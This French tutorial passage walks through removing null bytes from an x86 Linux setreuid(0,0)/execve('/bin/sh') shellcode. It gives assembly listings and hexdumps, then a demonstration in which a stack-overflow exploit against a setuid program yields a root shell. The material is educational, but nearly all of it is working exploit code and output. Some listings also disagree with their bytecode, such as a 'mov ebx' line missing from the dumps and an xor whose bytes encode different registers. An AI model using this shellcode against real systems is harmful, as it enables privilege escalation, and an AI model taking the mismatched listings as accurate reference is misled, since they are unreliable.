Supprimer les Null Bytes
Enlever les 0 explicités dans le code
On rappelle le bytecode final obtenu à l’étape précédente :
00000000 66 B8 46 00 00 00 66 BB 00 00 00 00 66 B9 00 00 f.F...f.....f...
00000010 00 00 CD 80 EB 28 66 5B 66 B8 00 00 00 00 67 88 .....(f[f.....g.
00000020 43 07 66 67 89 5B 08 66 67 89 43 0C 66 B8 0B 00 C.fg.[.fg.C.f...
00000030 00 00 66 67 8D 4B 08 66 67 8D 53 0C CD 80 E8 D5 ..fg.K.fg.S.....
00000040 FF 2F 62 69 6E 2F 73 68 30 61 61 61 61 62 62 62 ./bin/sh0aaaabbb
00000050 62 b
On remarque trois successions particulières de bytes qui se répètent, à savoir des blocs de 4 bytes nuls. En traduisant ces blocs en hexadécimal, on obtient trivialement 0x00000000 : il s’agit sûrement de 0 explicités dans le code. En observant le code, on trouve facilement les trois instructions coupables, toutes trois de la forme mov registre,0. Avec nos connaissances en assembleur, on peut régler ce problème en utilisant l’instruction XOR (OU exclusif). Par définition, le OU exclusif retourne un résultat de 0 si on XOR une variable par rapport à elle même. Ie, XOR registre,registre place le résultat du XOR (c’est à dire 0) dans registre, et c’est gagné !
Voici le code après avoir supprimé les 0 explicités :
- ;shellcode.asm
- mov eax,70 ;on mets eax à 70 pour préparer l'appel à setreuid
- xor ebx,ebx ;real uid 0 => root
- xor ecx,ecx ;effective uid 0 => root
- int 0x80 ;Syscall 70
- jmp chaine ;On va au label <chaine>
- retour: ;On arrive ici après le call : le fond de la pile est l'adresse de retour du call, donc l'adresse de cheminshell
- pop ebx ;On enlève cette adresse de la pile (avec pop) et on la place dans ebx
- xor eax,eax ;on mets 0 dans eax
- mov [ebx+7],al ;on mets le 0 (de eax) 7 caractères après le début de la chaîne
- ;en fait, on réécrit le 0 de la chaine avec un nul byte
- ;al occupe 1 byte
- mov [ebx+8],ebx ;on mets l'addresse de la chaine 8 caractères après son début
- ;En fait, on réécrit aaaa par l'adresse de cheminshell
- mov [ebx+12],eax ;12 caractères après le début, on mets les 4 bytes de eax
- ;en fait, on réécrit bbbb par 0x00000000
- mov eax,11 ;on mets eax à 11 pour préparer l'appel à execve
- lea ecx,[ebx+8] ;on charge l'adresse de (anciennement) aaaa dans ecx
- lea edx,[ebx+12] ;on charge l'adresse de (anciennement) bbbb dans edx
- int 0x80 ;Syscall 11
- chaine: ;label chaine où on arrive après le jump
- call retour ;On retourne au label retour en mettant l'adresse de la prochaine instruction (cheminshell) dans la pile
- cheminshell db "/bin/sh0aaaabbbb"
Et le nouveau bytecode après modification :
00000000 66 B8 46 00 00 00 66 31 DB 66 31 D9 CD 80 E9 25 f.F...f1.f1....%
00000010 00 66 5B 66 31 C0 67 88 43 07 66 67 89 5B 08 66 .f[f1.g.C.fg.[.f
00000020 67 89 43 0C 66 B8 0B 00 00 00 66 67 8D 4B 08 66 g.C.f.....fg.K.f
00000030 67 8D 53 0C CD 80 E8 D8 FF 2F 62 69 6E 2F 73 68 g.S....../bin/sh
00000040 30 61 61 61 61 62 62 62 62 0aaaabbbb
Hmm, il en reste encore...
Enlever les 0 dûs à l’utilisation de registres 32 bits pour des valeurs de 8 bits
On remarque cette fois deux blocs de 3 bytes nuls consécutifs. La mise en relation entre le premier bloc de zéros et la première instruction du programme nous donne encore une fois immédiatement la raison de la présence de ces null bytes : on s’aperçoit que ces opcodes semblent provenir de mov eax,70 et mov eax,11. Effectivement, après un essai, on s’aperçoit que mov eax,70 s’assemble en 66 B8 46 00 00 00. Et oui ! On se rappelle que l’adressage des registres se fait sur 32 bits, donc 70 s’écrira 0x00000046 dans eax. Par conséquent, il suffit d’utiliser le registre al de 8 bits (sans oublier de faire un xor avant sur eax pour que les autres bytes soient forcément nulles et qu’on ait bien la valeur 70 dans le registre).
On modifie encore une fois le code :
- ;shellcode.asm
- xor eax,eax ;on mets eax à 0
- mov al,70 ;on mets al (donc eax) à 70 pour préparer l'appel à setreuid
- xor ebx,ebx ;real uid 0 => root
- xor ecx,ecx ;effective uid 0 => root
- int 0x80 ;Syscall 70
- jmp chaine ;On va au label <chaine>
- retour: ;On arrive ici après le call : le fond de la pile est l'adresse de retour du call, donc l'adresse de cheminshell
- pop ebx ;On enlève cette adresse de la pile (avec pop) et on la place dans ebx
- xor eax,eax ;on mets 0 dans eax
- mov ebx,cheminshell ;on mets l'adresse de cheminshell dans ebx
- mov [ebx+7],al ;on mets le 0 (de eax) 7 caractères après le début de la chaîne
- ;en fait, on réécrit le 0 de la chaine avec un nul byte
- ;al occupe 1 byte
- mov [ebx+8],ebx ;on mets l'addresse de la chaine 8 caractères après son début
- ;En fait, on réécrit aaaa par l'adresse de cheminshell
- mov [ebx+12],eax ;12 caractères après le début, on mets les 4 bytes de eax
- ;en fait, on réécrit bbbb par 0x00000000
- mov al,11 ;on mets al (donc eax) à 11 pour préparer l'appel à execve
- lea ecx,[ebx+8] ;on charge l'adresse de (anciennement) aaaa dans ecx
- lea edx,[ebx+12] ;on charge l'adresse de (anciennement) bbbb dans edx
- int 0x80 ;Syscall 11
- chaine: ;label chaine où on arrive après le jump
- call retour ;On retourne au label retour en mettant l'adresse de la prochaine instruction (cheminshell) dans la pile
- cheminshell db "/bin/sh0aaaabbbb"
Et on l’ouvre dans un éditeur hexadécimal :
00000000 66 31 C0 B0 46 66 31 DB 66 31 D9 CD 80 E9 24 00 f1..Ff1.f1....$.
00000010 66 5B 66 31 C0 67 88 43 07 66 67 89 5B 08 66 67 f[f1.g.C.fg.[.fg
00000020 89 43 0C 66 31 C0 B0 0B 66 67 8D 4B 08 66 67 8D .C.f1...fg.K.fg.
00000030 53 0C CD 80 E8 D9 FF 2F 62 69 6E 2F 73 68 30 61 S....../bin/sh0a
00000040 61 61 61 62 62 62 62 aaabbbb
On y est presque ! Plus qu’un byte nul...
Enlever le 0 dû à l’utilisation du jmp long et supprimer les préfixes 16 bits
Le dernier null byte restant peut être plus dur à examiner pour les non-initiés à l’assemblage. En mettant en relation le code et le bytecode, on s’aperçoit que c’est le jmp qui nous emmène à la fin du code qui créé ce 00. En effet, les jmp peuvent modifier l’EIP d’un offset de 2^16. Par conséquent, l’écriture de l’offset se fait sur 16 bits. Or, notre programme étant court, nous n’avons pas besoin d’écrire l’offset sur 16 bits, on peut très bien se contenter de 8 bits (décalage maximum de 256, beaucoup plus grand que la taille de notre shellcode)
La solution est tout simplement d’utiliser l’instruction jmp short qui remplit exactement cette fonction.
Aussi, afin de raccourcir notre shellcode, on peut enlever les 9 bytes désormais obsolètes que sont "0aaaabbbb" à la fin de la chaîne. En effet, nous ne travaillons plus dans un programme et les bytes qu’occupent ces caractères sont, pendant une vraie injection de shellcode en mémoire, de l’espace dans la pile qui a été dépassé et qui de toute façon n’était pas destiné à recevoir le buffer travaillé qui est envoyé, il n’y en a donc aucun besoin dans note bytecode.
Enfin, on rajoute BITS 32 au début du programme pour indiquer qu’on travaille avec les opcodes 32 bits (en réalité, les préfixes d’opcodes changent, on remarquera par exemple la disparition des 0x66).
Voici donc notre code final :
- ;shellcode.asm
- BITS 32
- xor eax,eax ;on mets eax à 0
- mov al,70 ;on mets al (donc eax) à 70 pour préparer l'appel à setreuid
- xor ebx,ebx ;real uid 0 => root
- xor ecx,ecx ;effective uid 0 => root
- int 0x80 ;Syscall 70
- jmp short chaine ;On va au label <chaine>
- retour: ;On arrive ici après le call : le fond de la pile est l'adresse de retour du call, donc l'adresse de cheminshell
- pop ebx ;On enlève cette adresse de la pile (avec pop) et on la place dans ebx
- xor eax,eax ;on mets 0 dans eax
- mov ebx,cheminshell ;on mets l'adresse de cheminshell dans ebx
- mov [ebx+7],al ;on mets le 0 (de eax) 7 caractères après le début de la chaîne
- ;en fait, on réécrit le 0 de la chaine avec un nul byte
- ;al occupe 1 byte
- mov [ebx+8],ebx ;on mets l'addresse de la chaine 8 caractères après son début
- ;En fait, on réécrit aaaa par l'adresse de cheminshell
- mov [ebx+12],eax ;12 caractères après le début, on mets les 4 bytes de eax
- ;en fait, on réécrit bbbb par 0x00000000
- mov al,11 ;on mets al (donc eax) à 11 pour préparer l'appel à execve
- lea ecx,[ebx+8] ;on charge l'adresse de (anciennement) aaaa dans ecx
- lea edx,[ebx+12] ;on charge l'adresse de (anciennement) bbbb dans edx
- int 0x80 ;Syscall 11
- chaine: ;label chaine où on arrive après le jump
- call retour ;On retourne au label retour en mettant l'adresse de la prochaine instruction (cheminshell) dans la pile
- cheminshell db "/bin/sh"
Et, enfin, notre shellcode :
00000000 31 C0 B0 46 31 DB 31 D9 CD 80 EB 16 5B 31 C0 88 1..F1.1.....[1..
00000010 43 07 89 5B 08 89 43 0C B0 0B 8D 4B 08 8D 53 0C C..[..C....K..S.
00000020 CD 80 E8 E5 FF FF FF 2F 62 69 6E 2F 73 68 ......./bin/sh
Il est finalement temps de vérifier que l’on n’a pas fait tout ça pour rien (on réutilise le programme vulnérable et le programme d’exploitation de la partie stack-based overflow, en insérant notre shellcode :
$ su -
Password:
# wget -q http://www.bases-hacking.org/sources/Systeme/BoF/stack-based_overflow.c
# gcc stack-based_overflow.c -o stack-based_overflow
# chmod +s stack-based_overflow
# exit
logout
$ wget -q http://www.bases-hacking.org/sources/Shellcode/stack-based_exploit2.c
$ gcc stack-based_exploit2.c -o stack-based_exploit2
$ ./stack-based_exploit2
Adresse cible à 0xbf9f5924 (offset de 0xa4)
Buffer à 0xbf9f5914
Votre nom,
1À°F1Û1ÙÍ€ë-[1ÀˆC‰‰C
°
S
Í€èåÿÿÿ/bin/shŸ¿$YŸ¿$YŸ¿$YŸ¿$YŸ¿$YŸ¿, a été enregistré avec succès
sh-3.1# whoami
root
sh-3.1#
Notre shellcode a l’air de marcher parfaitement. Il y a beaucoup de manières d’améliorer ce shellcode. On peut en faire des beaucoup plus petits (pratique quand on n’a pas beaucoup de place dans la pile pour injecter le shellcode), ou encore un shellcode en caractères ascii imprimables (qui permet d’injecter quand on ne peut injecter que des caractères) ou encore du shell code polymorphique (un bytecode contenant le shellcode crypté et dont le travail est de décrypter le shellcode, puis de l’éxécuter). Nous vous ferons peut-être part de ces techniques quand nous aurons complété les autres sections 😉